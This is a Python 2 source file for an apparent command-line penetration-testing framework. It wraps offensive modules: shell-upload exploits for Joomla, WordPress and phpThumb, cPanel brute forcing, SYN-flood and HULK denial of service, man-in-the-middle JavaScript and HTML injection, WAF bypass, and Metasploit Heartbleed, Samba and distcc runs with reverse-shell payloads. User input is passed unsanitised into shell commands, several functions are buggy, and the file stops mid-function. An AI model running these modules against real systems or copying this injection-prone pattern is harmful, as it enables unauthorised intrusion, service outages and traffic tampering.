#!/usr/bin/python
import os, sys, subprocess, bs4,signal, requests, json
import time
import core
import os as sistema
import readline, rlcompleter
from urllib2 import quote
from socket import timeout
from urllib2 import urlopen
from urllib2 import Request
from sys import argv
from commands import *
import _py_
from core.excute import *
from core import help
from terminaltables import DoubleTable
from tabulate import tabulate

R = '\033[31m' # Red
N = '\033[1;37m' # White
G = '\033[32m' # Green
O = '\033[0;33m' # Orange
B = '\033[1;34m' #Blue
E = '\033[0m' # End
def clean():
    os.system("clear")

#EXPLOITS
def php():
   while True:
       list = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/php_thumb_shell_upload"+N+"): ")
       if list == 'show options':
           help.option()
           php()
       elif list == "back":
            core.menu.exploits()

       elif list == 'set target':
            tar = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/php_thumb_shell_upload (set target)"+N+"): ")
            print "target =>"+R+"",tar
            go = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/php_thumb_shell_upload "+N+"): ")
            if go == "run":
                time.sleep(2)
                print ""+B+"[*] "+N+"Starting attacks..."
                os.system("cd modules;cd exploit_phpthumb;perl rcexploit.pl %s" % (tar))
                print ""+B+"[*]"+N+" Job finished!"
                php()
            elif go =='back':
                 core.menu.exploits()
       elif list == 'clear':
            clean()
            php()
       elif list =='exit':
            print
            print""+G+"Thanks for using PTF"
            print
            exit()
       else:
           print "Wrong Command => ", list
           print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
           php()
def omnivista():
    list = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/omnivista"+N+"): ")
    if list == 'show options':
        help.option()
        omnivista()
    elif list == "back":
         core.menu.exploits()
    elif list == 'set target':
         tar = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/omnivista (set target)"+N+"): ")
         print "target =>"+R+"",tar
         go = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/omnivista "+N+"): ")
         if go == "run":
             time.sleep(2)
             print ""+B+"[*] "+N+"Starting attacks..."
             os.system("cd modules/omnivista-rce/ && python3 omnivista.py %s" % (tar))
             print ""+B+"[*]"+N+" Job finished!"
             omnivista()
         elif go =='back':
              core.menu.exploits()
    elif list == 'clear':
         clean()
         omnivista()
    elif list =='exit':
         print
         print""+G+"Thanks for using PTF"
         print
         exit()
    else:
        print "Wrong Command => ", list
        print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
        omnivista()
def davtest():
     while True:
         list = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/davtest"+N+"): ")
         if list == 'show options':
             help.option()
             davtest()
         elif list == "back":
              core.menu.exploits()

         elif list == 'set target':
              tar = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/davtest (set target)"+N+"): ")
              print "target =>"+R+"",tar
              go = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/davtest "+N+"): ")
              if go == "run":
                  time.sleep(2)
                  print ""+B+"[*] "+N+"Starting attacks..."
                  os.system("davtest -url %s" % (tar))
                  print ""+B+"[*]"+N+" Job finished!"
                  davtest()
              elif go =='back':
                   core.menu.exploits()
         elif list == 'clear':
              clean()
              davtest()
         elif list =='exit':
              print
              print""+G+"Thanks for using PTF"
              print
              exit()
         else:
             print "Wrong Command => ", list
             print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
             davtest()
def vb():
   while True:
       list = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/vbulletin"+N+"): ")
       if list == 'show options':
           help.option()
           vb()
       elif list == "back":
            core.menu.exploits()

       elif list == 'set target':
            vv = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/vbulletin (vBulletin$)"+N+"): ")
            print'Target =>', vv
            go = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/vbulletin "+N+"): ")
            if go == "run":
                os.system("python modules/vbulletin/vb.py %s" % (vv))
                vb()
            elif go =='back':
                 core.menu.exploits()
       elif list == 'clear':
            clean()
            vb()
       elif list =='exit':
            print
            print""+G+"Thanks for using PTF"
            print
            exit()
       else:
           print "Wrong Command => ", list
           print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
           vb()

def cpanel():
    while True:
        vc = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/cpanel_bruteforce"+N+"): ")
        if vc == 'show options':
            help.option()
            cpanel()
        elif vc == "back":
            core.menu.exploits()
        elif vc == 'set target':
            usr = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/cpanel_bruteforce (set user)"+N+"): ")
            print "username = >"+R+"",usr
            port = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/cpanel_bruteforce (set lport)"+N+"): ")
            print "LPORT = > "+R+"",port
            pss = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/cpanel_bruteforce (set list)"+N+"): ")
            print "list =>"+R+"",pss
            pas = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/cpanel_bruteforce (set savePass)"+N+"): ")
            print "save on => "+R+"",pas
            god = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/cpanel_bruteforce"+N+"): ")
            if god == "run":
                print ""+B+"[*] "+N+"Starting attacks..."
                os.system("cd modules;cd cpanel;perl cpanel.pl %s %s %s %s %s" % (vc,usr,port,pss,pas))
                print ""+B+"[*]"+N+" Job finished!"
                print
                cpanel()
            elif god == 'back':
                core.menu.exploits()
        elif vc =='clear':
            clean()
            cpanel()
        elif vc =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        else:
            print "Wrong Command => ", vc
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            cpanel()

def java():
    while True:
        jav = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/inject_javascript"+N+"): ")
        if jav == 'show options':
            help.option()
            java()
        elif jav == "back":
            core.menu.exploits()
        elif jav == 'set target':
             parse = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/inject_javascript (set parse)"+N+"): ")
             ips = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/inject_javascript (set ips)"+N+"): ")
             js_file = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/inject_javascript (set js_file)"+N+"): ")
             up_interface = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/inject_javascript (set up_interface)"+N+"): ")
             gateway = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/inject_javascript (set gateway)"+N+"): ")
             ja = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/inject_javascript"+N+"): ")
             if ja =="run":
                os.system("xettercap %s --proxy-module=injectjs --js-file %s -I %s --gateway %s" % (parse, ips, js_file, up_interface, gateway))
                java()
             elif ja =="back":
                  core.menu.exploits()
        elif jav == 'clear':
            clean()
            java()
        elif jav =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        else:
            print "Wrong Command => ", jav
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            java()

def joomla():
    while True:
        jom = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/joomla_com_hdflayer"+N+"): ")
        if jom == 'show options':
            help.option()
            joomla()
        elif jom == "back":
            core.menu.exploits()
        elif jom == 'set target':
              t = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploi/joomla_com_hdflayer (set target)"+N+"): ")
              print "target => "+R+"",t
              f = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploi/joomla_com_hdflayer (set shellock)"+N+"): ")
              print "target => "+R+"",f
              r = raw_input(""+N+"(Pentest)> ("+B+"modules/exploits)("+R+"exploit/joomla_com_hdflayer"+N+"): ")
              if r == "run":
                  print ""+B+"[*] "+N+"Starting attacks..."
                  os.system("cd modules;cd exploit_joomla;python exploitjoomla.py -t %s -f %s" % (t,f))
                  print ""+B+"[*]"+N+" Job finished!"
                  print
                  joomla()
              elif r == 'back':
                   core.menu.exploits()
        elif jom == 'clear':
            clean()
            joomla()
        elif jom =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        else:
            print "Wrong Command => ", jom
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            joomla()

def shell():
    while True:
        sel = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/wp_symposium_shell_upload"+N+"): ")
        if sel == 'show options':
            help.option()
            shell()
        elif sel == "back":
            core.menu.exploits()
        elif sel == 'set target':
             vc = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/wp_symposium_shell_upload (set target)"+N+"): ")
             print "target => "+R+"",vc
             fl = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploi/wp_symposium_shell_upload (set shellock)"+N+"): ")
             print "shell location = > "+R+"",fl
             ru = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploi/wp_symposium_shell_upload"+N+"): ")
             if ru == "run":
                 print ""+B+"[*] "+N+"Starting attacks..."
                 os.system("cd modules;cd prestashop;python wp-symposium.py -t %s -f %s" % (vc,fl))
                 print ""+B+"[*]"+N+" Job finished!"
                 print
                 core.menu.exploits()
             elif ru == 'back':
                 core.menu.exploits()
        elif sel =='clear':
            clean()
            shell()
        elif sel =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        else:
            print "Wrong Command => ", sel
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            shell()

def jomday():
    while True:
        day = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/joomla0day_com_myngallery"+N+"): ")
        if day == 'show options':
            help.option()
            jomday()
        elif day == "back":
            core.menu.exploits()
        elif day == 'set target':
             ft = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploi/joomla0day_com_myngallery (set target)"+N+"): ")
             print "target =>"+R+"",ft
             gr = raw_input(""+N+"(Pentest)> ("+B+"modules/exploits)("+R+"exploi/joomla0day_com_myngallery"+N+"): ")
             if gr == "run":
                 time.sleep(1)
                 print ""+B+"[*] "+N+"Starting attacks..."
                 os.system("cd modules;cd jom0;perl 0day.pl %s" % (ft))
                 print ""+B+"[*]"+N+" Job finished!"
                 print
                 jomday()
             elif gr == 'back':
                 core.menu.exploits()
        elif day == 'clear':
            clean()
            jomday()
        elif day =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        else:
            print "Wrong Command => ", day
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            jomday()


def jomsi():
    while True:
        si = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/joomla_simple_shell"+N+"): ")
        if si == 'show options':
            help.option()
            jomsi()
        elif si == "back":
            core.menu.exploits()
        elif si== 'set target':
             ru = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/joomla_simple_shell (set target)"+N+"): ")
             print "target =>", ru
             star = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/joomla_simple_shell"+N+"): ")
             if star == 'run':
                 os.system("cd modules;cd joomla_ex;python joomla.py")
                 print ""+B+"[*]"+N+" Job finished!"
                 print
                 jomsi()
             elif star == 'back':
                 core.menu.exploits()
        elif si =='clear':
            clean()
            jomsi()
        elif si =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        else:
            print "Wrong Command => ", si
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            jomsi()


def jomfox():
    while True:
        jj = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/joomla_com_foxcontact"+N+"): ")
        if jj == 'show options':
            help.option()
            jomfox()
        elif jj =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        elif jj == "back":
            core.menu.exploits()
        elif jj== 'set target':
             ts = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/joomla_com_foxcontact (set target)"+N+"): ")
             print "target => "+R+"",ts
             print ""+N+"=>"+N+" id?"+R+" example.com/index.php?option=com_foxcontact&view=foxcontact&Itemid="+G+"161 "+R+"<="
             cid = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/joomla_com_foxcontact (set CID)"+N+"): ")
             print "CID => "+R+"",cid
             kt = raw_input(""+N+"(Pentest)> ("+B+"modules/exploits)("+R+"exploit/joomla_com_foxcontact"+N+"): ")
             if kt == "run":
                 time.sleep(1)
                 print ""+B+"["+R+"*"+B+"]"+N+" Starting attacks..."
                 os.system("cd modules;cd com_foxcontact;python exploit.py --url %s --cid %s" % (ts,cid))
                 print ""+B+"[*]"+N+" Job finished!"
                 print
                 jomfox()
             else:
                 jomfox()
        elif jj =='clear':
            clean()
            jomfox()
        else:
            print "Wrong Command => ", jj
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            jomfox()

def jmauto():
    while True:
        jm = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/jm_auto_change_pswd"+N+"): ")
        if jm == 'show options':
            help.option()
            jmauto()
        elif jm =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        elif jm == "back":
            core.menu.exploits()
        elif jm == 'set target':
             er = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/jm_auto_change_pswd (set target)"+N+"): ")
             print "target =>"+R+"",er
             pa = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/jm_auto_change_pswd (set newpass)"+N+"): ")
             print "new pass => "+R+"",pa
             y = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/jm_auto_change_pswd"+N+"): ")
             time.sleep(2)
             if y == "run":
                 print ""+B+"[*] "+N+"Starting attacks..."
                 os.system("cd modules;cd autoriset_joomla0day;perl joomlariset.pl %s %s" % (er,pa))
                 print ""+B+"[*]"+N+" Job finished!"
                 print
                 jmauto()
             else:
                 jmauto()
        elif jm == 'clear':
            clean()
            jmauto()
        else:
            print "Wrong Command => ", jm
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            jmauto()


def dos():
    while True:
        dd = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/power_dos"+N+"): ")
        if dd == 'show options':
            help.option()
            dos()
        elif dd =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        elif dd == "back":
            core.menu.exploits()
        elif dd == 'set target':
             target = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/power_dos (set target)"+N+"): ")
             print "target =>"+R+"",target
             run = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/power_dos"+N+"): ")
             if run == "run":
                 os.system("cd modules;cd hulk_attacks;python hulk.py %s" % (target))
                 print ""+B+"[*]"+N+" Job finished!"
                 print
                 dos()
             else:
                 dos()
        elif dd == 'clear':
            clean()
            dos()
        else:
            print "Wrong Command => ", dd
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            dos()


def android():
    while True:
        dd = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/android_remote_acces"+N+"): ")
        if dd == 'show options':
            help.option()
            android()
        elif dd =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        elif dd == "back":
            core.menu.exploits()
        elif dd == 'set target':
            os.system("cd modules;cd android;python2 android.py")
            android()
        elif dd == 'clear':
            clean()
            android()
        else:
            print "Wrong Command => ", dd
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            android()


def dns_b():
    while True:
        dn = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/dns_bruteforce"+N+"): ")
        if dn == 'show options':
            help.option()
            dns_b()
        elif dn =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        elif dn == 'back':
            core.menu.exploits()
        elif dn == 'set target':
            port = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploi/dns_bruteforce (set port)"+N+"): ")
            target = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploi/dns_bruteforce (set target)"+N+"): ")
            print "port target => ", target, port
            rr = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploi/dns_bruteforce"+N+"): ")
            if rr == 'run':
              print""+B+""
              os.system('figlet Start dns_bruteforce')
              print"Wait..."
              scan = os.popen("nmap -p %s --script dns-brute.nse %s "+port,ip + "" ).read()
              save = open('log/log.txt','w')
              save.write(scan)
              save.close()
              vuln = os.popen("cat log/log.txt " ).read()
              table= [['scan result'],[vuln]]
              print (tabulate(table,tablefmt="fancy_grid",headers="firstrow"))
              dns_b()
            else:
                dns_b()
        elif dn == 'clear':
            clean()
            dns_b()
        else:
            print "Wrong Command => ", dn
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            dns_b()



def hping3():
    while True:
        dos = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploi/dos_attack"+N+"): ")
        if dos == 'show options':
           help.option()
           hping3()
        elif dos =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        elif dos =='back':
            core.menu.exploits()
        elif dos =='clear':
            clean()
            hping3()
        elif dos =='set target':
            target =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploi/dos_attack (set target)"+N+"): ")
            print "target => ", target
            if target == 'run':
               os.system("hping3 -c 10000 -d 120 -S -w 64 -p 21 --flood --rand-source %s " % (target))
               hping3()
            else:
                hping3()
        else:
            print "Wrong Command => ", hping3
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            hping3()

def html11():
    while True:
        inj = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploi/inject_html"+N+"): ")
        if inj =='show options':
            help.option()
            html11()
        elif inj =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        elif inj =='back':
            core.menu.exploits()
        elif inj =='clear':
            clean()
            html11()
        elif inj =='set target':
            parse =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploi/inject_html ("+G+"target_parse)"+N+"): ")
            ips =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploi/inject_html ("+G+"target_ips)"+N+"): ")
            html =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploi/inject_html ("+G+"file_html)"+N+"): ")
            interface =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploi/inject_html ("+G+"up_interface)"+N+"): ")
            gateway =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploi/inject_html ("+G+"gateway)"+N+"): ")
            print "press run for Attacks"
            ra = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploi/inject_html"+N+"): ")
            if ra == 'run':
               os.system("xettercap %s %s --proxy-module=/opt/Pentest/modules/bettercap/lib/bettercap/proxy/http/modules/injecthtml.rb --js-file %s -I %s --gateway %s " % (parse, ips, html, interface, gateway))
               html11()
            else:
                html11()
        else:
            print "Wrong Command => ", inj
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            html11()


def shake():
    while True:
        sha = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploi/shakescreen "+N+"): ")
        if sha =='show options':
            help.option()
            shake()
        elif sha =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        elif sha =='back':
            core.menu.exploits()
        elif sha =='clear':
            clean()
            shake()
        elif sha =='set target':
            parse =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploi/shakescreen ("+G+"target_parse)"+N+"): ")
            ips =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploi/shakescreen ("+G+"target_ips)"+N+"): ")
            interface =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploi/shakescreen ("+G+"up_interface)"+N+"): ")
            gateway =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploi/shakescreen ("+G+"gateway)"+N+"): ")
            print "press run for Attacks"
            ra = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploi/shakescreen"+N+"): ")
            if ra == 'run':
               os.system("xettercap %s %s --proxy-module=injectjs --js-file '/opt/Pentest/modules/bettercap/modules/js/shakescreen.js' -I %s --gateway %s " % (parse, ips, interface, gateway))
               shake()
            else:
                shake()
        else:
            print "Wrong Command => ", sha
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            shake()


def waf():
    while True:
        sha = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploi/bypass_waf"+N+"): ")
        if sha =='show options':
            help.option()
            waf()
        elif sha =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        elif sha =='back':
            core.menu.exploits()
        elif sha =='clear':
            clean()
            waf()
        elif sha =='set target':
            target =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploi/bypass_waf ("+G+"target)"+N+"): ")
            ra = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploi/bypass_waf"+N+"): ")
            if ra == 'run':
               os.system('python modules/wafninja/wafninja.py bypass -u %s -p "Name=PAYLOAD&Submit=Submit" -c "phpsessid=value" -t xss -o log/output.html' % (target))
               waf()
            else:
                waf()
        else:
            print "Wrong Command => ", sha
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            waf()


def enum():
    while True:
        sha = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploi/enumeration"+N+"): ")
        if sha =='show options':
            help.option()
            enum()
        elif sha =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        elif sha =='back':
            core.menu.exploits()
        elif sha =='clear':
            clean()
            enum()
        elif sha =='set target':
            target =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploi/enumeration ("+G+"target)"+N+"): ")
            ra = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploi/enumeration"+N+"): ")
            if ra == 'run':
               os.system('perl modules/enum/enum4linux.pl -U %s ' % (target))
               enum()
            else:
                enum()
        else:
            print "Wrong Command => ", sha
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            enum()

def res():
    while True:
        sha = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploi/restrict_anonymous"+N+"): ")
        if sha =='show options':
            help.option()
            res()
        elif sha =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        elif sha =='back':
            core.menu.exploits()
        elif sha =='clear':
            clean()
            res()
        elif sha =='set target':
            u =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploi/restrict_anonymous ("+G+"User)"+N+"): ")
            p =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploi/restrict_anonymous ("+G+"Pass)"+N+"): ")
            target =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploi/restrict_anonymous ("+G+"Target)"+N+"): ")
            ra = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploi/enumeration"+N+"): ")
            if ra == 'run':
               os.system('perl modules/enum/enum4linux.pl -u %s -p %s -U %s ' % (u, p, target))
               res()
            else:
                res()
        else:
            print "Wrong Command => ", sha
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            res()

def robots_txt():
    while True:
        map =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/robots_txt"+N+"): ")
        if map == 'show options':
            help.option()
            robots_txt()
        elif map =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        elif map == 'back':
            core.menu.exploits()
        elif map =='set target':
             _py_.explore.robots_txt().run()
             print
             robots_txt()
        elif map =='clear':
            clean()
            robots_txt()
        else:
            print "Wrong Command => ", map
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            robots_txt()



def update():
    print ""+B+"~ "+N+"Updating..."
    time.sleep(3)
    print
    print ""+G+" Pentest WAS UPGRADED!"
    time.sleep(1)
    print
    print ""+N+"Cloning newly updated..."
    time.sleep(4)
    os.system("cd /root && git clone https://github.com/3xploit-db/Pentest-Tools-Framework ")
    print""+G+"modules install"
    time.sleep(3)
    os.system("cd /root/Pentest-Tools-Framework && pip install -r requirements.txt")
    print""+R+"Install PTF "
    time.sleep(2)
    os.system("cd /root/Pentest-Tools-Framework && python install.py")
    os.system("rm -rf /root/Pentest-Tools-Framework")
    time.sleep(3)
    print ""+B+"~ "+N+"Suscess Updated!"
    time.sleep(1)
    print

def ssl():
    while True:
        map =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/openssl_heartbleed"+N+"): ")
        if map == 'show options':
            help.option()
            ssl()
        elif map =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        elif map == 'back':
            core.menu.exploits()
        elif map =='set target':
             rhost =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/openssl_heartbleed "+G+"(set RHOST)"+N+"): ")
             print "RHOST =>",rhost
             rport =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/openssl_heartbleed "+G+"(set RPORT)"+N+"): ")
             print "RPORT =>",rport
             her =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/openssl_heartbleed "+N+"): ")
             if her =='run':
                os.system('msfconsole -q -x"use auxiliary/scanner/ssl/openssl_heartbleed; set RHOSTS %s ; set RPORT %s ; set action DUMP ; run "' % (rhost, rport))
                print
                ssl()
        elif map =='clear':
            clean()
            ssl()
        else:
            print "Wrong Command => ", map
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            ssl()
def smb():
    while True:
        map =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/samba"+N+"): ")
        if map == 'show options':
            help.option()
            smb()
        elif map =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        elif map == 'back':
            core.menu.exploits()
        elif map =='set target':
             rhost =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/samba "+G+"(set RHOST)"+N+"): ")
             print "RHOST =>",rhost
             rport =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/samba "+G+"(set RPORT)"+N+"): ")
             print "RPORT =>",rport
             lhost =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/samba "+G+"(set LHOST)"+N+"): ")
             print 'LHOST =>',lhost
             lport =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/samba "+G+"(set LPORT)"+N+"): ")
             print 'LPORT =>',lport
             her =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/samba "+N+"): ")
             if her =='run':
                os.system('msfconsole -q -x "use exploit/multi/samba/usermap_script; set RHOST %s ; set RPORT %s ; set payload cmd/unix/reverse ; set LHOST %s ; set LPORT %s ; run "' % (rhost, rport, lhost, lport))
                print
                smb()
        elif map =='clear':
            clean()
            smb()
        else:
            print "Wrong Command => ", map
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            smb()

def smb1():
    while True:
        map =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/smb"+N+"): ")
        if map == 'show options':
            help.option()
            smb1()
        elif map =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        elif map == 'back':
            core.menu.exploits()
        elif map =='set target':
             rhost =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/smb "+G+"(set RHOST)"+N+"): ")
             print "RHOST =>",rhost
             lhost =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/smb "+G+"(set LHOST)"+N+"): ")
             print 'LHOST =>',lhost
             lport =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/smb "+G+"(set LPORT)"+N+"): ")
             print 'LPORT =>',lport
             her =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/smb "+N+"): ")
             if her =='run':
                os.system('msfconsole -q -x "use exploit/unix/misc/distcc_exec; set RHOST %s ;set RPORT 3632; set payload cmd/unix/reverse ; set LHOST %s ; set LPORT %s ; run "' % (rhost, lhost, lport))
                print
                smb1()
        elif map =='clear':
            clean()
            smb1()
        else:
            print "Wrong Command => ", map
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            smb1()

def jenkins_script_console():
    while True:
        map =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/jenkins_script_console"+N+"): ")
        if map == 'show options':
            help.option()
            jenkins_script_console()
        elif map =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        elif map == 'back':
            core.menu.exploits()
        elif map =='set target':
             rhost =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/jenkins_script_console "+G+"(set RHOST)"+N+"): ")
             print "RHOST =>",rhost
             rport =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/jenkins_script_console "+G+"(set RPORT)"+N+"): ")
             print "RPORT =>",rport
             uri =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/jenkins_script_console "+G+"(set targeturi/)"+N+"): ")
             print 'targeturi =>',uri
